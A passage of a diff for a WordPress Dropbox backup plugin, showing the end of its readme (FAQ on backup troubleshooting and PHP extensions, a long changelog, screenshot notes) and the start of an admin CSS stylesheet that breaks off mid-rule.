+ 1. One of the possible thing you can try to do is the web browser cache refresh. Try to load you backup plugin page in WordPress without browser cache by clicking of buttons combination Ctrl+F5.<br />
335
+
336
+ = I've been trying to back up a site and I just noticed that it stopped progressing about an hour ago at this line: yyyy-mm-dd xx:xx:xx Add a table "wp_tablexxx" in the database dump. Any idea what happened? =
337
+ The Dropbox backup and restore plugin does an automatic database optimization before backup, <br />but if you have some broken table in database of your website,<br />
338
+ then you can try to repair the database before backup creation.<br />
339
+
340
+ = Hallo, ich habe eben versucht über Ihre Webseite ein Backup in meine Dropbox zum machen - es wurde aber nicht ausgeführt. Das Geld wurde aber von meinem Guthaben bereits abgebucht. Im Scheduler stand auch "WAITING" und dann "PERFORMED" aber die Dropbox ist noch leer. Bitte um Hilfe. =
341
+
342
+ Die Abbuchung erfolgt nicht, falls Ihr Backup ohne Erfolg abgeschlossen wurde.<br />
343
+ In diesem Fall handelt es sich um gelieferte vom Server des Website diese Antwort:<br /><br />
344
+ *504 Gateway Time-out*<br />
345
+ *The gateway did not receive a timely response from the upstream server or application.*<br /><br />
346
+ Dies ist eine interne Fehlermeldung auf Ihrem Server/Hosting, für den wir nicht verantworten können. <br />
347
+ Ist es möglich, dass Sie uns Ihr System Logs-Dateien zukommen lassen <br />
348
+ *oder*<br />
349
+ geben uns den FTP Zugriff von Ihrer Website, damit wir versuchen Ihnen zu helfen.<br />
350
+
351
+ = Makes me mad that I thought I was protected. Couldn't have went another way. I want create my website backup to dropbox. =
352
+ Your website is protected, if you have successfully created website backup.<br />
353
+ Just try to create website backup from you own admin area (from you own WordPress). Backup creating from your own website is fully free!<br />
354
+
355
+ = Seems to be missing something: PHP Extensions sockets, ftp Not Found Functionality are not guaranteed. =
356
+ Yes, to create backup successfully you'll need such PHP extensions like Sockets or Curl, otherwise we can't guaranteed functionality for Dropbox back up and restoration plugin.
357
+
358
+ = I've moved my website to the new hosting provider. Where can I find my PHP Extensions like sockets, ftp or curl to do a backup? Because the Dropbox plugin says me, that functionality for Dropbox back up and restoration plugin can't guaranteed... =
359
+ You can activate PHP Extensions on you cPanel or Plesk of provider hosting administration panel.
360
+ **If you use cPanel,** <br />
361
+ login in cPanel and scroll down to "Software and Services" or "Advanced" block and open "PHP configuration" or "PHP PEAR packages".<br />
362
+ Check on the corresponding checkboxes to your php extensions, that you want activate.<br />
363
+ Save the PHP configuration by clicking the button on bottom (in most cases on the bottom) of this page.<br />
364
+ **If you use Plesk dashboard or Plesk (Version 12) administration panel,** <br />
365
+ Login to Plesk and in main menu open "Tools & Settings" > "PHP Settings" > *any PHP 5.6 handler*<br />
366
+ Clear the checkbox, to have the PHP extension appear on the customers "phpinfo" pages, and click "OK". Wait for the changes in list with PHP extensions to be applied, then select the checkbox and apply the changes once again.<br />
367
+
368
+ = I want optimize my MySQL database before I do my backup. How can I do that? =
369
+ In the Website to Dropbox backup & restoration plugin you can find an appropriate option in the Settings block of the Dropbox plugin. The optimize database setting is per default activated and in use. If you hasn't changed this configuration, then every time, as you doing backup, the database will be optimized automatically.
370
+
371
+ = How much time it will take to create a backup of my website? =
372
+ There are many hardware and software dependences. Approximately the average time for website takes up to 360 seconds for 50 Mb website. There are many hardware and server/web hosting software dependencies to create a back up.
373
+
374
+ = What does it cost to backup my website? =
375
+ It's fully free to back up your website, if you performing back up or restore using Dropbox backup and restore plugin autonomously on your own website.
376
+
377
+ = After installing and trying to run backup... my website fails to load... Can you please help me? =
378
+ <strong>The Dropbox-backup plugin doesn't make any changes neither on your WordPress nor on your WordPress configuration.</strong> It does only archive of your files and copy this archive in local folder or dropbox folder without to make some changes.<br />
379
+ Please, open a support ticket and we will try to help you.
380
+
381
+ = Can I close dropbox plugin page in my WordPress during back up of my website will be created? =
382
+ Yes, you can close dropbox plugin page in your WordPress website, cause backup will be created during cron task of WordPress. The backup task will be executed in background.
383
+
384
+ = How can I clone my WordPress? I can't find this in Dropbox backup and restore plugin. =
385
+ With some tricky you can clone your WordPress to the new place. Try to rename your domain backup folder on Dropbox and use the same Dropbox App key and App secret to get this backup folder on your new WordPress place. After restoring on new folder or hosting - it will give you new cloned WordPress. Also, do not forget, you can use the Dropbox backup and restore PRO version to get cloning process more easily in use.
386
+
387
+
388
+ == Changelog ==
389
+
390
+ Please, keep your Dropbox Backup and Restore plugin up-to-date.
391
+
392
+ **Rev.**&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;**Description** <br />
393
+
394
+ &nbsp;&nbsp;&nbsp;&nbsp;Tested up to WordPress version 4.4.2<br />
395
+ &nbsp;&nbsp;&nbsp;&nbsp;Answers for questions about dropbox back up and restore plugin window.<br />
396
+ &nbsp;&nbsp;&nbsp;&nbsp;Changes of features list for dropbox back up and restore plugin.<br />
397
+ @1335797&nbsp;&nbsp;&nbsp;&nbsp;Performing back up or restore.<br />
398
+ @1335797&nbsp;&nbsp;&nbsp;&nbsp;New version(1.4.2) added: corrected view js with styles during Dropbox backup creating create.<br />
399
+ @1334899&nbsp;&nbsp;&nbsp;&nbsp;Dependencies for back up creation.<br />
400
+ @1334070&nbsp;&nbsp;&nbsp;&nbsp;New version(1.4.1) added: better functionality by working with the file lock.<br />
401
+ @1332931&nbsp;&nbsp;&nbsp;&nbsp;Bug fixes. Plugin Dropbox backup and restore revision added 1.4<br />
402
+ &nbsp;&nbsp;&nbsp;&nbsp;Dropbox backup & restore - add new version(1.4): another way to work with database, bug fixes.<br />
403
+ &nbsp;&nbsp;&nbsp;&nbsp;The time of back up creating.<br />
404
+ &nbsp;&nbsp;&nbsp;&nbsp;Database optimization before backup.<br />
405
+ &nbsp;&nbsp;&nbsp;&nbsp;Configuration of PHP extensions in Plesk panel.<br />
406
+ &nbsp;&nbsp;&nbsp;&nbsp;Dropbox backup and restore was successfully tested up to 4.4.1 WordPress version.<br />
407
+ &nbsp;&nbsp;&nbsp;&nbsp;Small text fix in description about activating of PHP extensions in cPanel for back up plugin.<br />
408
+ &nbsp;&nbsp;&nbsp;&nbsp;Use of FTP protocol to create backup.<br />
409
+ &nbsp;&nbsp;&nbsp;&nbsp;Solutions for storage back up.<br />
410
+ &nbsp;&nbsp;&nbsp;&nbsp;Use separate server for remote backups<br />
411
+ &nbsp;&nbsp;&nbsp;&nbsp;The list of requirements to backup website.<br />
412
+ &nbsp;&nbsp;&nbsp;&nbsp;Requirements for creating back up.<br />
413
+ &nbsp;&nbsp;&nbsp;&nbsp;Find and activate PHP Extensions for Dropbox website back up and restore.<br />
414
+ @1314341&nbsp;&nbsp;&nbsp;&nbsp;Dropbox website backup and restoration answer explained.<br />
415
+ &nbsp;&nbsp;&nbsp;&nbsp;Website backup on "Low Memory" Hostings or Servers.<br />
416
+ &nbsp;&nbsp;&nbsp;&nbsp;Website backup to Dropbox naming corrected to "Website backup".<br />
417
+ &nbsp;&nbsp;&nbsp;&nbsp;Website backup to Dropbox syntax corrected and one tag "Website back up" added.<br />
418
+ &nbsp;&nbsp;&nbsp;&nbsp;Website backup to Dropbox FAQ.<br />
419
+ @1309174&nbsp;&nbsp;&nbsp;&nbsp;Dropbox back up and restoration features list in plugin description changed.<br />
420
+ @1308460&nbsp;&nbsp;&nbsp;&nbsp;Added new version 1.3.3.5 - update user interface.<br />
421
+ @1307504&nbsp;&nbsp;&nbsp;&nbsp;PHP extensions to create back up and restoring for Dropbox back up and restoration.<br />
422
+ &nbsp;&nbsp;&nbsp;&nbsp;In FAQ carriage return corrected.<br />
423
+ &nbsp;&nbsp;&nbsp;&nbsp;Installation instructions for Dropbox back up and restoration plugin.<br />
424
+ &nbsp;&nbsp;&nbsp;&nbsp;Try to make a repairing before backup.<br />
425
+ &nbsp;&nbsp;&nbsp;&nbsp;Dropbox backup and restore question - "Stopped progressing about an hour ago".<br />
426
+ &nbsp;&nbsp;&nbsp;&nbsp;Dropbox backup and restore slug was changed in plugin header for language translation.<br />
427
+ &nbsp;&nbsp;&nbsp;&nbsp;Browser cache refresh in back up and restore plugin page under WordPress.<br />
428
+ @1296429&nbsp;&nbsp;&nbsp;&nbsp;Carriage return in installation instructions.<br />
429
+ @1295049&nbsp;&nbsp;&nbsp;&nbsp;Request about "what to do, if back up not working"<br />
430
+ @1294253&nbsp;&nbsp;&nbsp;&nbsp;Revision lines was added to back up and restoration.<br />
431
+ @1293495&nbsp;&nbsp;&nbsp;&nbsp;Answer in FAQ about folder permission.<br />
432
+ @1292981&nbsp;&nbsp;&nbsp;&nbsp;Question about folder permission was added to FAQ.<br />
433
+ @1291392&nbsp;&nbsp;&nbsp;&nbsp;Tags was added.<br />
434
+ @1290489&nbsp;&nbsp;&nbsp;&nbsp;Switching from FREE to PRO plugin version.<br />
435
+ @1289603&nbsp;&nbsp;&nbsp;&nbsp;Web Server basic_auth issue will be solved.<br />
436
+ @1288063&nbsp;&nbsp;&nbsp;&nbsp;Installation instructions for users about Dropbox Back up and Restore plugin descripted.<br />
437
+ @1287201&nbsp;&nbsp;&nbsp;&nbsp;New tags was added in plugin description.<br />
438
+ @1286120&nbsp;&nbsp;&nbsp;&nbsp;Database repairing coming soon in description.<br />
439
+ @1285459&nbsp;&nbsp;&nbsp;&nbsp;Database optimization in Dropbox back up and restoration.<br />
440
+ @1284056&nbsp;&nbsp;&nbsp;&nbsp;update wpadm function for search key<br />
441
+ @1283439&nbsp;&nbsp;&nbsp;&nbsp;Dropbox backup and restoration change log corrected.<br />
442
+ @1281224&nbsp;&nbsp;&nbsp;&nbsp;Version 1.3.3.4; WPAdm method corrected, message to recovery Dropbox Back up and restoration<br />
443
+ @1279735&nbsp;&nbsp;&nbsp;&nbsp;Version 1.3.3.3; Algorithm changed to create MySQL dump of Dropbox back up and restoration<br />
444
+ @1277537&nbsp;&nbsp;&nbsp;&nbsp;Dropbox back up and restoration plugin description was changed.<br />
445
+ @1276653&nbsp;&nbsp;&nbsp;&nbsp;Version 1.3.3.2; Performance improvement. Trying to avoid 5xx and 4xx system errors. Bug fixes. <br />
446
+ @1274884&nbsp;&nbsp;&nbsp;&nbsp;Checkbox for admins was fixed <br />
447
+ @1274875&nbsp;&nbsp;&nbsp;&nbsp;Fixed bug: checkbox to hide Dropbox backup and restore plugin from all users except admin <br />
448
+ @1273510&nbsp;&nbsp;&nbsp;&nbsp;add new version 1.3.3 <br />
449
+ @1273409&nbsp;&nbsp;&nbsp;&nbsp;add expsys template <br />
450
+ @1279408&nbsp;&nbsp;&nbsp;&nbsp;Explanation in description of dropbox backup and restoration plugin was added.<br />
451
+ @1273303&nbsp;&nbsp;&nbsp;&nbsp;added index files <br />
452
+ @1272797&nbsp;&nbsp;&nbsp;&nbsp;Validate that dropbox backup was ended correctly. <br />
453
+ @1272337&nbsp;&nbsp;&nbsp;&nbsp;example in a question for registration in dropbox back up and restore <br />
454
+ @1271819&nbsp;&nbsp;&nbsp;&nbsp;added index to folder template <br />
455
+ @1271744&nbsp;&nbsp;&nbsp;&nbsp;question with answer about failed local back up <br />
456
+ @1271154&nbsp;&nbsp;&nbsp;&nbsp;"if exists" to database dump <br />
457
+ @1270137&nbsp;&nbsp;&nbsp;&nbsp;styling of text for 5xx errors <br />
458
+ @1269473&nbsp;&nbsp;&nbsp;&nbsp;js moved <br />
459
+ @1268234&nbsp;&nbsp;&nbsp;&nbsp;small changes in faq <br />
460
+ @1267847&nbsp;&nbsp;&nbsp;&nbsp;small changes in readme <br />
461
+ @1267005&nbsp;&nbsp;&nbsp;&nbsp;syntax <br />
462
+ @1266928&nbsp;&nbsp;&nbsp;&nbsp;update messages in dropbox backup and restore plugin<br />
463
+ @1266703&nbsp;&nbsp;&nbsp;&nbsp;syntax WP<br />
464
+ @1265985&nbsp;&nbsp;&nbsp;&nbsp;update version 1.3.2<br />
465
+ @1265068&nbsp;&nbsp;&nbsp;&nbsp;update js (shows forms)<br />
466
+ @1264052&nbsp;&nbsp;&nbsp;&nbsp;add function search element<br />
467
+ @1262500&nbsp;&nbsp;&nbsp;&nbsp;explanation about support for plugin and hosting<br />
468
+ @1261881&nbsp;&nbsp;&nbsp;&nbsp;function for plugins<br />
469
+ @1261222&nbsp;&nbsp;&nbsp;&nbsp;updated version 1.3.1(auth form)<br />
470
+ @1261188&nbsp;&nbsp;&nbsp;&nbsp;small changes in readme<br />
471
+ @1260383&nbsp;&nbsp;&nbsp;&nbsp;update styles for mobile devices<br />
472
+ @1260365&nbsp;&nbsp;&nbsp;&nbsp;updated version 1.3<br />
473
+ @1260019&nbsp;&nbsp;&nbsp;&nbsp;add new version 1.2.9.9<br />
474
+ @1259835&nbsp;&nbsp;&nbsp;&nbsp;add new version 1.2.9.8<br />
475
+ @1259518&nbsp;&nbsp;&nbsp;&nbsp;to compare<br />
476
+ @1259217&nbsp;&nbsp;&nbsp;&nbsp;answer fur super question about backup and restore plugins<br />
477
+ @1259203&nbsp;&nbsp;&nbsp;&nbsp;question is corrected to dropbox backup and restoration<br />
478
+ @1259182&nbsp;&nbsp;&nbsp;&nbsp;FAQ question added to dropbox backup / restore plugin<br />
479
+ @1257732&nbsp;&nbsp;&nbsp;&nbsp;added comments database backup file<br />
480
+ @1255849&nbsp;&nbsp;&nbsp;&nbsp;update styles (button)<br />
481
+ @1254709&nbsp;&nbsp;&nbsp;&nbsp;Backup as Virus protection<br />
482
+ @1253582&nbsp;&nbsp;&nbsp;&nbsp;other notes 5xx errors<br />
483
+ @1252805&nbsp;&nbsp;&nbsp;&nbsp;Answer for question "how to clone my site" was added.<br />
484
+ @1251866&nbsp;&nbsp;&nbsp;&nbsp;dropbox backup, dropbox restore: question added<br />
485
+ @1250954&nbsp;&nbsp;&nbsp;&nbsp;explanation about dropbox connection request<br />
486
+ @1250437&nbsp;&nbsp;&nbsp;&nbsp;update styles (buttons)<br />
487
+ @1249411&nbsp;&nbsp;&nbsp;&nbsp;CR added<br />
488
+ @1249102&nbsp;&nbsp;&nbsp;&nbsp;syntax backup and restoration description<br />
489
+ @1248616&nbsp;&nbsp;&nbsp;&nbsp;add new version 1.2.9.7(update folder backup)<br />
490
+ @1248057&nbsp;&nbsp;&nbsp;&nbsp;features list<br />
491
+ @1247607&nbsp;&nbsp;&nbsp;&nbsp;tested up 4.3.1<br />
492
+ @1246330&nbsp;&nbsp;&nbsp;&nbsp;wordpress website backup and wordpress website restore plugin dashboard …<br />
493
+ @1245871&nbsp;&nbsp;&nbsp;&nbsp;dropbox backup and restore (website restore and website backup) update<br />
494
+ @1245510&nbsp;&nbsp;&nbsp;&nbsp;Added logging<br />
495
+ @1244896&nbsp;&nbsp;&nbsp;&nbsp;update sync<br />
496
+ @1244885&nbsp;&nbsp;&nbsp;&nbsp;description updated<br />
497
+ @1244750&nbsp;&nbsp;&nbsp;&nbsp;Dropbox backup and restore obligations<br />
498
+ @1242514&nbsp;&nbsp;&nbsp;&nbsp;pik @<br />
499
+ @1241879&nbsp;&nbsp;&nbsp;&nbsp;text update<br />
500
+ @1241570&nbsp;&nbsp;&nbsp;&nbsp;add new version 1.2.9.6(update form setting)<br />
501
+ @1239293&nbsp;&nbsp;&nbsp;&nbsp;description and tag changed<br />
502
+ @1238734&nbsp;&nbsp;&nbsp;&nbsp;tags update<br />
503
+ @1237086&nbsp;&nbsp;&nbsp;&nbsp;syntax faq<br />
504
+ @1237081&nbsp;&nbsp;&nbsp;&nbsp;FAQ question and answer<br />
505
+ @1236213&nbsp;&nbsp;&nbsp;&nbsp;readme description changed<br />
506
+ @1235445&nbsp;&nbsp;&nbsp;&nbsp;webpage changed to website<br />
507
+ @1233859&nbsp;&nbsp;&nbsp;&nbsp;user notice added<br />
508
+ @1233133&nbsp;&nbsp;&nbsp;&nbsp;update styles(form info)<br />
509
+ @1232321&nbsp;&nbsp;&nbsp;&nbsp;syntax<br />
510
+ @1230213&nbsp;&nbsp;&nbsp;&nbsp;styles mobile devices(form)<br />
511
+ @1229216&nbsp;&nbsp;&nbsp;&nbsp;update style(button-send)<br />
512
+ @1227611&nbsp;&nbsp;&nbsp;&nbsp;tested version 4.3<br />
513
+ @1227201&nbsp;&nbsp;&nbsp;&nbsp;update styles(form info)<br />
514
+ @1223663&nbsp;&nbsp;&nbsp;&nbsp;update styles (form)<br />
515
+ @1222885&nbsp;&nbsp;&nbsp;&nbsp;update styles<br />
516
+ @1221294&nbsp;&nbsp;&nbsp;&nbsp;syntax<br />
517
+ @1220833&nbsp;&nbsp;&nbsp;&nbsp;update styles (button)<br />
518
+ @1219935&nbsp;&nbsp;&nbsp;&nbsp;update styles (form)<br />
519
+ @1217702&nbsp;&nbsp;&nbsp;&nbsp;version changed<br />
520
+ @1217168&nbsp;&nbsp;&nbsp;&nbsp;syntax<br />
521
+ @1216872&nbsp;&nbsp;&nbsp;&nbsp;small spell checking<br />
522
+ @1214947&nbsp;&nbsp;&nbsp;&nbsp;update styles (form)<br />
523
+ @1214116&nbsp;&nbsp;&nbsp;&nbsp;exclude cache folder<br />
524
+ @1214080&nbsp;&nbsp;&nbsp;&nbsp;add new version 1.2.9.5<br />
525
+ @1213546&nbsp;&nbsp;&nbsp;&nbsp;update version of WordPress<br />
526
+ @1212423&nbsp;&nbsp;&nbsp;&nbsp;restore description question<br />
527
+ @1212013&nbsp;&nbsp;&nbsp;&nbsp;new version 1.2.9.4<br />
528
+ @1210498&nbsp;&nbsp;&nbsp;&nbsp;update dropbox connect<br />
529
+ @1210495&nbsp;&nbsp;&nbsp;&nbsp;new version 1.2.9.3<br />
530
+ @1210306&nbsp;&nbsp;&nbsp;&nbsp;update styles<br />
531
+ @1209297&nbsp;&nbsp;&nbsp;&nbsp;update styles<br />
532
+ @1209294&nbsp;&nbsp;&nbsp;&nbsp;update styles<br />
533
+ @1208999&nbsp;&nbsp;&nbsp;&nbsp;new version 1.2.9.2<br />
534
+ @1208987&nbsp;&nbsp;&nbsp;&nbsp;Template update<br />
535
+ @1208918&nbsp;&nbsp;&nbsp;&nbsp;Update version Wordpress<br />
536
+ @1208262&nbsp;&nbsp;&nbsp;&nbsp;faq answer<br />
537
+ @1207546&nbsp;&nbsp;&nbsp;&nbsp;faq question<br />
538
+ @1206897&nbsp;&nbsp;&nbsp;&nbsp;faq answer and question<br />
539
+ @1206675&nbsp;&nbsp;&nbsp;&nbsp;faq question<br />
540
+ @1206472&nbsp;&nbsp;&nbsp;&nbsp;faq answer<br />
541
+ @1206316&nbsp;&nbsp;&nbsp;&nbsp;faq question<br />
542
+ @1205075&nbsp;&nbsp;&nbsp;&nbsp;syntax<br />
543
+ @1203513&nbsp;&nbsp;&nbsp;&nbsp;syntax corrected<br />
544
+ @1203312&nbsp;&nbsp;&nbsp;&nbsp;version changed to 1.2.9.1<br />
545
+ @1203168&nbsp;&nbsp;&nbsp;&nbsp;new version 1.2.9a<br />
546
+ @1203093&nbsp;&nbsp;&nbsp;&nbsp;syntax<br />
547
+ @1203089&nbsp;&nbsp;&nbsp;&nbsp;Screenshots description<br />
548
+ @1202467&nbsp;&nbsp;&nbsp;&nbsp;Screenshot description <br />
549
+
550
+ == Upgrade Notice ==
551
+
552
+ Please, keep your Dropbox Backup and Restore plugin up-to-date.
553
+
554
+ == Screenshots ==
555
+
556
+ = Step-by-step & HOWTOs in Dropbox Backup and Restore plugin =
557
+
558
+ 1. **Main window of Dropbox Full Backup plugin.** Dropbox Backup and Restore plugin window after installation and activation.
559
+ 2. To open the main window of the plug-in, click on the item "**Dropbox Full Backup**" in main menu of your WordPress installation. WordPress menu in admin area.
560
+ 3. For **local backups** with Dropbox Full Backup plugin (saving of backups locally on server or shared hosting of your site), you do not need to make a connection to dropbox. Therefore, for a local backup is unnecessary to make any settings changes. The Local backup will work.
561
+ 4. The **Settings block of Dropbox Backup and Restore** plugin. Fill out App key and App secret to get the dropbox plugin connected with your dropbox account.<br />
562
+ **Make sure**, you use the right App key and App secret pair and this pair correspond to your right dropbox application.<br />
563
+ **This is one of the most common mistakes of our users!**
564
+ 5. **Don't forget** to click on **"Connect"** button to get the dropbox plugin connected with your dropbox account.
565
+ 6. Click **"Create Dropbox Backup"** to create backup and upload this to your dropbox account using your pair of App key and App secret.
566
+ 7. Click **"Create Local Backup"** to create local backup. The local backup will be saved locally at your shared hosting / server.
567
+ 8. Table **list of backups** (local backups and dropbox backups), that was created with Dropbox Full Backup and Restore plugin.
568
+ 9. Screen9
569
+ 10. Screen10
570
+
571
+
template/attention.png ADDED
Binary file
template/css/admin-style-wpadm.css ADDED
@@ -0,0 +1,999 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ .list-dropbox-backup-pro {
3
+ margin-top:10px;
4
+ margin-bottom:0;
5
+ }
6
+ .list-dropbox-backup-pro li {
7
+ margin-bottom: 0;
8
+ font-size:14px;
9
+ margin-left:35px;
10
+ }
11
+ .list-dropbox-backup-pro .text {
12
+ line-height: 25px;
13
+ }
14
+ .image-dropbox-pro {
15
+ width: 183px;
16
+ height: 187px;
17
+ border:2px solid #ddd;
18
+ cursor: pointer;
19
+ text-align: center;
20
+ float:left;
21
+ }
22
+ .dropbox-image-toolbar a:before {
23
+ content: url('./../../img/wpadm-logo.png');
24
+ /*background-image: ;*/
25
+ }
26
+
27
+
28
+ .folder-class {
29
+ text-align: left;
30
+ font-size: 14px;
31
+ font-weight: 400;
32
+ color:#444444;
33
+ }
34
+ .folder-class .first, .folder-class .second {
35
+ margin-left:3px;
36
+ }
37
+ .folder-class .first:after, .folder-class .second:after {
38
+ content:"/";
39
+ }
40
+
41
+ .backup_button {
42
+ -moz-box-shadow:inset 0px 1px 0px 0px #9fb4f2;
43
+ -webkit-box-shadow:inset 0px 1px 0px 0px #9fb4f2;
44
+ box-shadow:inset 0px 1px 0px 0px #9fb4f2;
45
+ background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #7892c2), color-stop(1, #476e9e));
46
+ background:-moz-linear-gradient(top, #7892c2 5%, #476e9e 100%);
47
+ background:-webkit-linear-gradient(top, #7892c2 5%, #476e9e 100%);
48
+ background:-o-linear-gradient(top, #7892c2 5%, #476e9e 100%);
49
+ background:-ms-linear-gradient(top, #7892c2 5%, #476e9e 100%);
50
+ background:linear-gradient(to bottom, #7892c2 5%, #476e9e 100%);
51
+ filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#7892c2', endColorstr='#476e9e',GradientType=0);
52
+ background-color:#7892c2;
53
+ -moz-border-radius:3px;
54
+ -webkit-border-radius:3px;
55
+ border-radius:3px;
56
+ border:1px solid #4e6096;
57
+ display:inline-block;
58
+ cursor:pointer;
59
+ color:#ffffff;
60
+ font-family:Arial;
61
+ font-size:17px;
62
+ font-weight:bold;
63
+ padding:10px 20px;
64
+ text-decoration:none;
65
+ text-shadow:0px 1px 0px #283966;
66
+ }
67
+ .backup_button:hover {
68
+ background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #476e9e), color-stop(1, #7892c2));
69
+ background:-moz-linear-gradient(top, #476e9e 5%, #7892c2 100%);
70
+ background:-webkit-linear-gradient(top, #476e9e 5%, #7892c2 100%);
71
+ background:-o-linear-gradient(top, #476e9e 5%, #7892c2 100%);
72
+ background:-ms-linear-gradient(top, #476e9e 5%, #7892c2 100%);
73
+ background:linear-gradient(to bottom, #476e9e 5%, #7892c2 100%);
74
+ filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#476e9e', endColorstr='#7892c2',GradientType=0);
75
+ background-color:#476e9e;
76
+ color:#fff;
77
+ }
78
+ .backup_button:active {
79
+ position:relative;
80
+ top:1px;
81
+ }
82
+ button.backup_button:disabled, button.backup_button:disabled:hover {
83
+ background: #9eb7d8;
84
+ }
85
+ .form-counter {
86
+ background: #0096d6;
87
+ border: 1px solid #fff;
88
+ width: 95%;
89
+ margin-bottom: 20px;
90
+ margin-top: 20px;
91
+ color:#fff;
92
+ }
93
+ .log-dropbox {
94
+ background-repeat: no-repeat; background-position:center;
95
+ background-color: #fff;
96
+ height: 211px;
97
+ width: 170px;
98
+ float: left;
99
+ margin-top:-4px;
100
+ border: 1px solid #47a3ec;
101
+ border-radius:3px;
102
+ }
103
+ .block-content {
104
+ background-color: #fff;
105
+ border: 1px solid #e8e8e8;
106
+ padding: 10px;
107
+ }
108
+ #logs-form, #reviews-dropbox, #action-buttons {
109
+ float:left;
110
+ }
111
+ #logs-form, #reviews-dropbox {
112
+ padding: 10px; background: #ffffc8; border: 1px solid #0096d6; position: relative; height: 100px; text-align: center;
113
+ }
114
+ #reviews-dropbox {
115
+ float: right;
116
+ height: 150px;
117
+ width: 25%;
118
+ }
119
+ #action-buttons {
120
+ margin-right: 10px;
121
+ float:left;
122
+ margin-top:130px;
123
+ }
124
+ .form-field {
125
+ padding-top: 0px;
126
+ margin-bottom: 5px;
127
+ float: left;
128
+ margin-left:5px;
129
+ }
130
+
131
+ .title-reviews {
132
+ font-size: 20px;
133
+ margin-bottom: 24px;
134
+ margin-top:23px;
135
+ }
136
+ .desc-reviews {
137
+ font-size: 16px;
138
+ margin-top:10px;
139
+ margin-bottom: 20px;
140
+ }
141
+
142
+ .btn-danger {
143
+ background-color: #da4f49;
144
+ background-image: linear-gradient(to bottom, #ee5f5b, #bd362f);
145
+ background-repeat: repeat-x;
146
+ border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
147
+ color: #fff;
148
+ text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
149
+ border-radius: 3px;
150
+ font-size: 11.9px;
151
+ padding: 2px 10px;
152
+ cursor: pointer;
153
+ }
154
+ .btn-orange {
155
+ background-color: #f48326;
156
+ background-image: linear-gradient(to bottom, #cc5d00, #cc5d00);
157
+ background-repeat: repeat-x;
158
+ border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
159
+ color: #fff;
160
+ text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
161
